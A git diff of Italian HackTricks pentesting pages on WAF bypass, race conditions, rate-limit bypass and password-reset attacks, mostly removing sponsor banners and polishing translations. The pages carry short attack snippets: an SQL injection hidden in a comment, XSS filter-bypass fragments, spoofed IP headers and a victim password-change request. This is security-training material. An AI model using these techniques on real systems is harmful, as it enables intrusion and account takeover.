 {"role":"administrator\ud800"}
@@ -208,8 +205,5 @@ Che potrebbe creare incoerenze
 - [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
 - [https://bishopfox.com/blog/json-interoperability-vulnerabilities](https://bishopfox.com/blog/json-interoperability-vulnerabilities)
 
-

-
-{% embed url="https://websec.nl/" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md
index b51490a39..1fdd8578d 100644
--- a/src/pentesting-web/proxy-waf-protections-bypass.md
+++ b/src/pentesting-web/proxy-waf-protections-bypass.md
@@ -1,12 +1,9 @@
-# Bypass delle Protezioni Proxy / WAF
+# Proxy / WAF Protections Bypass
 
 {{#include ../banners/hacktricks-training.md}}
 
-

 
-{% embed url="https://websec.nl/" %}
-
-## Bypass delle Regole ACL di Nginx con Manipolazione del Nome del Percorso 
+## Bypass Nginx ACL Rules with Pathname Manipulation 
 
 Tecniche [da questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
 
@@ -111,7 +108,7 @@ Comunemente i WAF hanno un certo limite di lunghezza delle richieste da controll
 
 
Dimensione massima di un corpo di richiesta web che può essere ispezionato per le protezioni di Application Load Balancer e AWS AppSync8 KB
Dimensione massima di un corpo di richiesta web che può essere ispezionato per le protezioni di CloudFront, API Gateway, Amazon Cognito, App Runner e Verified Access**64 KB

 
-- Da [**documentazione Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
+- Da [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
 
 I firewall per applicazioni web più vecchi con Core Rule Set 3.1 (o inferiore) consentono messaggi più grandi di **128 KB** disattivando l'ispezione del corpo della richiesta, ma questi messaggi non verranno controllati per vulnerabilità. Per le versioni più recenti (Core Rule Set 3.2 o più recenti), lo stesso può essere fatto disabilitando il limite massimo del corpo della richiesta. Quando una richiesta supera il limite di dimensione:
 
@@ -136,7 +133,7 @@ Fino a 128KB.
 ```
 ### Compatibilità Unicode 
 
-A seconda dell'implementazione della normalizzazione Unicode (maggiori informazioni [qui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), i caratteri che condividono la compatibilità Unicode potrebbero essere in grado di bypassare il WAF ed eseguire il payload previsto. I caratteri compatibili possono essere trovati [qui](https://www.compart.com/en/unicode).
+A seconda dell'implementazione della normalizzazione Unicode (maggiori informazioni [qui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), i caratteri che condividono la compatibilità Unicode potrebbero essere in grado di bypassare il WAF ed eseguire come il payload previsto. I caratteri compatibili possono essere trovati [qui](https://www.compart.com/en/unicode).
 
 #### Esempio 
 ```bash
@@ -161,9 +158,9 @@ Nel post vengono suggeriti i seguenti bypass finali:
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=`
 - Cloudflare:`cloudflare.com/?x=`
 
-Si menziona anche che a seconda di **come alcuni WAF comprendono il contesto** dell'input dell'utente, potrebbe essere possibile abusarne. L'esempio proposto nel blog è che Akamai consente di mettere qualsiasi cosa tra `/*` e `*/` (potenzialmente perché questo è comunemente usato come commenti). Pertanto, una SQL injection come `/*'or sleep(5)-- -*/` non verrà catturata e sarà valida poiché `/*` è la stringa iniziale dell'iniezione e `*/` è commentato.
+Si menziona anche che a seconda di **come alcuni WAF comprendono il contesto** dell'input dell'utente, potrebbe essere possibile abusarne. L'esempio proposto nel blog è che Akamai consente(va) di mettere qualsiasi cosa tra `/*` e `*/` (potenzialmente perché questo è comunemente usato come commenti). Pertanto, una SQL injection come `/*'or sleep(5)-- -*/` non verrà catturata e sarà valida poiché `/*` è la stringa iniziale dell'iniezione e `*/` è commentato.
 
-Questi tipi di problemi di contesto possono essere utilizzati anche per **abusare di altre vulnerabilità oltre a quella prevista** per essere sfruttata dal WAF (ad esempio, questo potrebbe essere utilizzato anche per sfruttare un XSS).
+Questi tipi di problemi di contesto possono essere utilizzati anche per **abusare di altre vulnerabilità rispetto a quella prevista** per essere sfruttata dal WAF (ad esempio, questo potrebbe essere utilizzato anche per sfruttare un XSS).
 
 ### H2C Smuggling 
 
@@ -176,12 +173,12 @@ h2c-smuggling.md
 - [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Genera un URL di gateway API da utilizzare con ffuf
 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Simile a fireprox
 - [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin di Burp Suite che utilizza IP di gateway API
-- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un numero dinamicamente determinato di istanze di container viene attivato in base alla dimensione del file di input e al fattore di suddivisione, con l'input suddiviso in blocchi per l'esecuzione parallela, come 100 istanze che elaborano 100 blocchi da un file di input di 10.000 righe con un fattore di suddivisione di 100 righe.
+- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un numero determinato dinamicamente di istanze di container vengono attivate in base alla dimensione del file di input e al fattore di suddivisione, con l'input suddiviso in blocchi per l'esecuzione parallela, come 100 istanze che elaborano 100 blocchi da un file di input di 10.000 righe con un fattore di suddivisione di 100 righe.
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 
 ### Regex Bypasses
 
-Possono essere utilizzate diverse tecniche per bypassare i filtri regex sui firewall. Esempi includono l'alternanza di maiuscole e minuscole, l'aggiunta di interruzioni di riga e la codifica dei payload. Risorse per i vari bypass possono essere trovate su [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Gli esempi di seguito sono stati estratti da [questo articolo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
+Possono essere utilizzate diverse tecniche per bypassare i filtri regex sui firewall. Esempi includono l'alternanza di maiuscole e minuscole, l'aggiunta di interruzioni di riga e la codifica dei payload. Risorse per i vari bypass possono essere trovate su [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Gli esempi seguenti sono stati estratti da [questo articolo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
 ```bash
  #changing the case of the tag
 < #prepending an additional "<"
@@ -213,8 +210,5 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 
-

-
-{% embed url="https://websec.nl/" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index 919ab81ec..e23ad1e82 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -1,28 +1,20 @@
-# Race Condition
-
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
+# Condizione di Gara
 
 {{#include ../banners/hacktricks-training.md}}
 
 > [!WARNING]
 > Per ottenere una comprensione approfondita di questa tecnica, controlla il rapporto originale in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 
-## Migliorare gli Attacchi di Race Condition
+## Migliorare gli Attacchi di Condizione di Gara
 
-L'ostacolo principale nel trarre vantaggio dalle race condition è assicurarsi che più richieste vengano gestite contemporaneamente, con **molto poca differenza nei loro tempi di elaborazione—idealmente, meno di 1ms**.
+L'ostacolo principale nel sfruttare le condizioni di gara è assicurarsi che più richieste vengano gestite contemporaneamente, con **pochissima differenza nei loro tempi di elaborazione—idealmente, meno di 1ms**.
 
 Qui puoi trovare alcune tecniche per Sincronizzare le Richieste:
 
 #### Attacco a Pacchetto Singolo HTTP/2 vs. Sincronizzazione dell'Ultimo Byte HTTP/1.1
 
-- **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del jitter di rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di race condition coerente.
-- **Sincronizzazione dell'Ultimo Byte HTTP/1.1**: Consente di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene poi inviato insieme, ottenendo un arrivo simultaneo al server.
+- **HTTP/2**: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del jitter di rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di condizione di gara coerente.
+- **HTTP/1.1 'Sincronizzazione dell'Ultimo Byte'**: Consente di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene poi inviato insieme, raggiungendo simultaneamente il server.
 
 **Preparazione per la Sincronizzazione dell'Ultimo Byte** prevede:
 
@@ -31,19 +23,19 @@ Qui puoi trovare alcune tecniche per Sincronizzare le Richieste:
 3. Disabilitare TCP_NODELAY per utilizzare l'algoritmo di Nagle per raggruppare i frame finali.
 4. Eseguire un ping per riscaldare la connessione.
 
-L'invio successivo dei frame trattenuti dovrebbe risultare nel loro arrivo in un singolo pacchetto, verificabile tramite Wireshark. Questo metodo non si applica ai file statici, che non sono tipicamente coinvolti negli attacchi RC.
+L'invio successivo dei frame trattenuti dovrebbe risultare nella loro arrivo in un singolo pacchetto, verificabile tramite Wireshark. Questo metodo non si applica ai file statici, che non sono tipicamente coinvolti negli attacchi di RC.
 
 ### Adattarsi all'Architettura del Server
 
-Comprendere l'architettura del target è cruciale. I server front-end potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il riscaldamento preventivo della connessione lato server, attraverso richieste insignificanti, potrebbe normalizzare i tempi di richiesta.
+Comprendere l'architettura del bersaglio è cruciale. I server front-end potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il riscaldamento preventivo della connessione lato server, attraverso richieste insignificanti, potrebbe normalizzare i tempi di richiesta.
 
 #### Gestire il Blocco Basato su Sessione
 
 Framework come il gestore di sessioni di PHP serializzano le richieste per sessione, potenzialmente oscurando le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può eludere questo problema.
 
-#### Superare i Limiti di Frequenza o Risorse
+#### Superare i Limiti di Velocità o Risorse
 
-Se il riscaldamento della connessione non è efficace, attivare intenzionalmente i ritardi dei limiti di frequenza o risorse dei server web attraverso un'inondazione di richieste fittizie potrebbe facilitare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle race condition.
+Se il riscaldamento della connessione non è efficace, attivare intenzionalmente i ritardi dei limiti di velocità o risorse dei server web attraverso un'inondazione di richieste fittizie potrebbe facilitare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle condizioni di gara.
 
 ## Esempi di Attacco
 
@@ -317,7 +309,7 @@ Sfruttare condizioni di gara complesse spesso comporta approfittare di brevi opp
 
 ### Attacchi Sensibili al Tempo
 
-La precisione nel tempismo delle richieste può rivelare vulnerabilità, specialmente quando metodi prevedibili come i timestamp sono utilizzati per i token di sicurezza. Ad esempio, generare token di reset della password basati su timestamp potrebbe consentire token identici per richieste simultanee.
+La precisione nel temporizzare le richieste può rivelare vulnerabilità, specialmente quando metodi prevedibili come i timestamp sono utilizzati per i token di sicurezza. Ad esempio, generare token di reset della password basati su timestamp potrebbe consentire token identici per richieste simultanee.
 
 **Per Sfruttare:**
 
@@ -365,12 +357,12 @@ session['enforce_mfa'] = True
 ```
 ### OAuth2 persistenza eterna
 
-Ci sono diversi [**provider OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permetteranno di creare un'applicazione e autenticare gli utenti che il provider ha registrato. Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **provider OAUth**.\
-Fino a qui, è solo un comune accesso con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_L'applicazione \ vuole accedere alle tue informazioni, vuoi permetterlo?_"
+Ci sono diversi [**fornitori OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permetteranno di creare un'applicazione e autenticare gli utenti che il fornitore ha registrato. Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **fornitore OAUth**.\
+Quindi, fino a qui, è solo un login comune con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_L'applicazione \ vuole accedere alle tue informazioni, vuoi permetterlo?_"
 
 #### Race Condition in `authorization_code`
 
-Il **problema** si presenta quando **lo accetti** e invia automaticamente un **`authorization_code`** all'applicazione malevola. Poi, questa **applicazione sfrutta una Race Condition nel provider di servizi OAUth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per **creare diversi account**. Poi, se **smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre rimarranno valide**.
+Il **problema** appare quando **lo accetti** e invia automaticamente un **`authorization_code`** all'applicazione malevola. Poi, questa **applicazione sfrutta una Race Condition nel fornitore di servizi OAUth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per **creare diversi account**. Poi, se **smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre rimarranno valide**.
 
 #### Race Condition in `Refresh Token`
 
@@ -390,11 +382,3 @@ In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC
 - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
 
 {{#include ../banners/hacktricks-training.md}}
-
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) per costruire e **automatizzare facilmente flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md
index ff182e78d..8c9c3b272 100644
--- a/src/pentesting-web/rate-limit-bypass.md
+++ b/src/pentesting-web/rate-limit-bypass.md
@@ -1,28 +1,20 @@
 # Rate Limit Bypass
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}
-
 {{#include ../banners/hacktricks-training.md}}
 
 ## Tecniche di bypass del limite di velocità
 
-### Esplorare endpoint simili
+### Esplorare Endpoint Simili
 
-Dovrebbero essere effettuati tentativi di attacchi brute force su variazioni dell'endpoint mirato, come `/api/v3/sign-up`, comprese alternative come `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` ecc.
+Dovrebbero essere effettuati tentativi di attacchi brute force su variazioni dell'endpoint mirato, come `/api/v3/sign-up`, inclusi alternativi come `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` ecc.
 
-### Incorporare caratteri vuoti nel codice o nei parametri
+### Incorporare Caratteri Vuoti nel Codice o nei Parametri
 
-Inserire byte vuoti come `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` nel codice o nei parametri può essere una strategia utile. Ad esempio, modificare un parametro in `code=1234%0a` consente di estendere i tentativi attraverso variazioni nell'input, come aggiungere caratteri di nuova riga a un indirizzo email per aggirare le limitazioni dei tentativi.
+Inserire byte vuoti come `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` nel codice o nei parametri può essere una strategia utile. Ad esempio, modificare un parametro in `code=1234%0a` consente di estendere i tentativi attraverso variazioni nell'input, come aggiungere caratteri di nuova riga a un indirizzo email per aggirare le limitazioni sui tentativi.
 
-### Manipolare l'origine IP tramite intestazioni
+### Manipolare l'Origine IP tramite Intestazioni
 
-Modificare le intestazioni per alterare l'origine IP percepita può aiutare a eludere il rate limiting basato su IP. Intestazioni come `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, inclusa l'uso di più istanze di `X-Forwarded-For`, possono essere modificate per simulare richieste da IP diversi.
+Modificare le intestazioni per alterare l'origine IP percepita può aiutare a eludere il limite di velocità basato su IP. Intestazioni come `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, inclusa l'uso di più istanze di `X-Forwarded-For`, possono essere modificate per simulare richieste da IP diversi.
 ```bash
 X-Originating-IP: 127.0.0.1
 X-Forwarded-For: 127.0.0.1
@@ -50,7 +42,7 @@ Accedere a un account prima di ogni tentativo, o di ogni serie di tentativi, pot
 
 ### Utilizzare Reti Proxy
 
-Distribuire una rete di proxy per distribuire le richieste su più indirizzi IP può eludere efficacemente i limiti di rate basati su IP. Instradando il traffico attraverso vari proxy, ogni richiesta appare provenire da una fonte diversa, diluendo l'efficacia del rate limit.
+Distribuire una rete di proxy per distribuire le richieste su più indirizzi IP può eludere efficacemente i limiti di rate basati su IP. Instradando il traffico attraverso vari proxy, ogni richiesta sembra provenire da una fonte diversa, diluendo l'efficacia del rate limit.
 
 ### Suddividere l'Attacco tra Diversi Account o Sessioni
 
@@ -58,14 +50,6 @@ Se il sistema target applica limiti di rate su base per-account o per-sessione,
 
 ### Continua a Provare
 
-Nota che anche se è in atto un rate limit, dovresti provare a vedere se la risposta è diversa quando viene inviato l'OTP valido. In [**questo post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), il bug hunter ha scoperto che anche se un rate limit viene attivato dopo 20 tentativi non riusciti rispondendo con 401, se quello valido veniva inviato, si riceveva una risposta 200.
+Nota che anche se è in atto un rate limit dovresti provare a vedere se la risposta è diversa quando viene inviato l'OTP valido. In [**questo post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), il bug hunter ha scoperto che anche se un rate limit viene attivato dopo 20 tentativi non riusciti rispondendo con 401, se quello valido veniva inviato si riceveva una risposta 200.
 
 {{#include ../banners/hacktricks-training.md}}
-
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli strumenti della comunità **più avanzati** al mondo.\
-Ottieni Accesso Oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}
diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md
index e4528238d..3effacaf2 100644
--- a/src/pentesting-web/reset-password.md
+++ b/src/pentesting-web/reset-password.md
@@ -2,26 +2,11 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Hacking Insights**\
-Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
-
-**Real-Time Hack News**\
-Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
-
-**Latest Announcements**\
-Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
 ## **Password Reset Token Leak Via Referrer**
 
-- L'intestazione HTTP referer può rivelare il token di reset della password se è incluso nell'URL. Questo può verificarsi quando un utente clicca su un link di un sito di terze parti dopo aver richiesto un reset della password.
+- L'intestazione HTTP referer potrebbe rivelare il token di reset della password se è incluso nell'URL. Questo può verificarsi quando un utente clicca su un link di un sito web di terze parti dopo aver richiesto un reset della password.
 - **Impatto**: Potenziale assunzione del controllo dell'account tramite attacchi Cross-Site Request Forgery (CSRF).
-- **Sfruttamento**: Per controllare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare immediatamente la tua password**. Invece, **naviga verso un sito di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste utilizzando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi.
+- **Sfruttamento**: Per verificare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare la tua password** immediatamente. Invece, **naviga verso un sito web di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste utilizzando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi.
 - **Riferimenti**:
 - [HackerOne Report 342693](https://hackerone.com/reports/342693)
 - [HackerOne Report 272379](https://hackerone.com/reports/272379)
@@ -32,9 +17,9 @@ Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali
 - Gli attaccanti possono manipolare l'intestazione Host durante le richieste di reset della password per indirizzare il link di reset a un sito malevolo.
 - **Impatto**: Porta a una potenziale assunzione del controllo dell'account rivelando i token di reset agli attaccanti.
 - **Passi di mitigazione**:
-- Valida l'intestazione Host rispetto a un elenco di domini consentiti.
-- Usa metodi sicuri lato server per generare URL assoluti.
-- **Patch**: Usa `$_SERVER['SERVER_NAME']` per costruire URL di reset della password invece di `$_SERVER['HTTP_HOST']`.
+- Convalidare l'intestazione Host rispetto a un elenco di domini consentiti.
+- Utilizzare metodi sicuri, lato server, per generare URL assoluti.
+- **Patch**: Utilizzare `$_SERVER['SERVER_NAME']` per costruire URL di reset della password invece di `$_SERVER['HTTP_HOST']`.
 - **Riferimenti**:
 - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
 
@@ -92,7 +77,7 @@ POST /resetPassword
 - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
 - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
 
-## **Cambiamento di Email e Password di qualsiasi Utente tramite Parametri API**
+## **Cambiamento dell'Email e della Password di qualsiasi Utente tramite Parametri API**
 
 - Gli attaccanti possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
 ```php
@@ -101,17 +86,17 @@ POST /api/changepass
 ("form": {"email":"victim@email.tld","password":"12345678"})
 ```
 - **Passi di Mitigazione**:
-- Assicurati di una rigorosa validazione dei parametri e controlli di autenticazione.
-- Implementa un logging e monitoraggio robusti per rilevare e rispondere ad attività sospette.
+- Assicurarsi di una rigorosa validazione dei parametri e controlli di autenticazione.
+- Implementare registrazione e monitoraggio robusti per rilevare e rispondere ad attività sospette.
 - **Riferimento**:
 - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
 
 ## **Nessun Limite di Frequenza: Email Bombing**
 
-- La mancanza di limiti di frequenza sulle richieste di reset della password può portare a un bombardamento di email, sopraffacendo l'utente con email di reset.
+- La mancanza di limitazione della frequenza nelle richieste di reset della password può portare a un bombardamento di email, sopraffacendo l'utente con email di reset.
 - **Passi di Mitigazione**:
-- Implementa limiti di frequenza basati su indirizzo IP o account utente.
-- Usa sfide CAPTCHA per prevenire abusi automatizzati.
+- Implementare limitazione della frequenza basata su indirizzo IP o account utente.
+- Utilizzare sfide CAPTCHA per prevenire abusi automatizzati.
 - **Riferimenti**:
 - [HackerOne Report 280534](https://hackerone.com/reports/280534)
 
@@ -120,33 +105,33 @@ POST /api/changepass
 - Comprendere il modello o il metodo dietro la generazione del token può portare a prevedere o forzare i token. Alcune opzioni:
 - Basato su Timestamp
 - Basato su UserID
-- Basato sull'email dell'utente
+- Basato sull'email dell'Utente
 - Basato su Nome e Cognome
 - Basato sulla Data di Nascita
-- Basato sulla Crittografia
+- Basato sulla Criptografia
 - **Passi di Mitigazione**:
-- Usa metodi crittografici forti per la generazione dei token.
-- Assicurati di una sufficiente casualità e lunghezza per prevenire la prevedibilità.
-- **Strumenti**: Usa Burp Sequencer per analizzare la casualità dei token.
+- Utilizzare metodi crittografici forti per la generazione dei token.
+- Assicurarsi di una sufficiente casualità e lunghezza per prevenire la prevedibilità.
+- **Strumenti**: Utilizzare Burp Sequencer per analizzare la casualità dei token.
 
 ## **UUID Indovinabili**
 
-- Se gli UUID (versione 1) sono indovinabili o prevedibili, gli attaccanti possono forzarli per generare token di reset validi. Controlla:
+- Se gli UUID (versione 1) sono indovinabili o prevedibili, gli attaccanti possono forzarli per generare token di reset validi. Controllare:
 
 {{#ref}}
 uuid-insecurities.md
 {{#endref}}
 
 - **Passi di Mitigazione**:
-- Usa la versione 4 di GUID per la casualità o implementa misure di sicurezza aggiuntive per altre versioni.
-- **Strumenti**: Usa [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID.
+- Utilizzare la versione 4 di GUID per la casualità o implementare misure di sicurezza aggiuntive per altre versioni.
+- **Strumenti**: Utilizzare [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID.
 
 ## **Manipolazione della Risposta: Sostituire una Brutta Risposta con una Buona**
 
 - Manipolare le risposte HTTP per bypassare messaggi di errore o restrizioni.
 - **Passi di Mitigazione**:
-- Implementa controlli lato server per garantire l'integrità della risposta.
-- Usa canali di comunicazione sicuri come HTTPS per prevenire attacchi man-in-the-middle.
+- Implementare controlli lato server per garantire l'integrità della risposta.
+- Utilizzare canali di comunicazione sicuri come HTTPS per prevenire attacchi man-in-the-middle.
 - **Riferimento**:
 - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
 
@@ -154,50 +139,35 @@ uuid-insecurities.md
 
 - Testare se i token scaduti possono ancora essere utilizzati per il reset della password.
 - **Passi di Mitigazione**:
-- Implementa politiche rigorose di scadenza dei token e valida la scadenza del token lato server.
+- Implementare politiche rigorose di scadenza dei token e convalidare la scadenza del token lato server.
 
 ## **Brute Force del Token di Reset della Password**
 
 - Tentare di forzare il token di reset utilizzando strumenti come Burpsuite e IP-Rotator per bypassare i limiti di frequenza basati su IP.
 - **Passi di Mitigazione**:
-- Implementa meccanismi robusti di limitazione della frequenza e di blocco dell'account.
-- Monitora attività sospette indicative di attacchi di forza bruta.
+- Implementare meccanismi robusti di limitazione della frequenza e di blocco dell'account.
+- Monitorare attività sospette indicative di attacchi di forza bruta.
 
 ## **Prova a Usare il Tuo Token**
 
 - Testare se il token di reset di un attaccante può essere utilizzato in combinazione con l'email della vittima.
 - **Passi di Mitigazione**:
-- Assicurati che i token siano legati alla sessione utente o ad altri attributi specifici dell'utente.
+- Assicurarsi che i token siano legati alla sessione utente o ad altri attributi specifici dell'utente.
 
 ## **Invalidazione della Sessione al Logout/Reset della Password**
 
-- Assicurati che le sessioni siano invalidate quando un utente esce o resetta la propria password.
+- Assicurarsi che le sessioni siano invalidate quando un utente esce o resetta la propria password.
 - **Passi di Mitigazione**:
-- Implementa una corretta gestione delle sessioni, assicurandoti che tutte le sessioni siano invalidate al logout o al reset della password.
+- Implementare una corretta gestione delle sessioni, assicurandosi che tutte le sessioni siano invalidate al logout o al reset della password.
 
 ## **Invalidazione della Sessione al Logout/Reset della Password**
 
 - I token di reset dovrebbero avere un tempo di scadenza dopo il quale diventano non validi.
 - **Passi di Mitigazione**:
-- Imposta un tempo di scadenza ragionevole per i token di reset e applicalo rigorosamente lato server.
+- Impostare un tempo di scadenza ragionevole per i token di reset e farlo rispettare rigorosamente lato server.
 
 ## Riferimenti
 
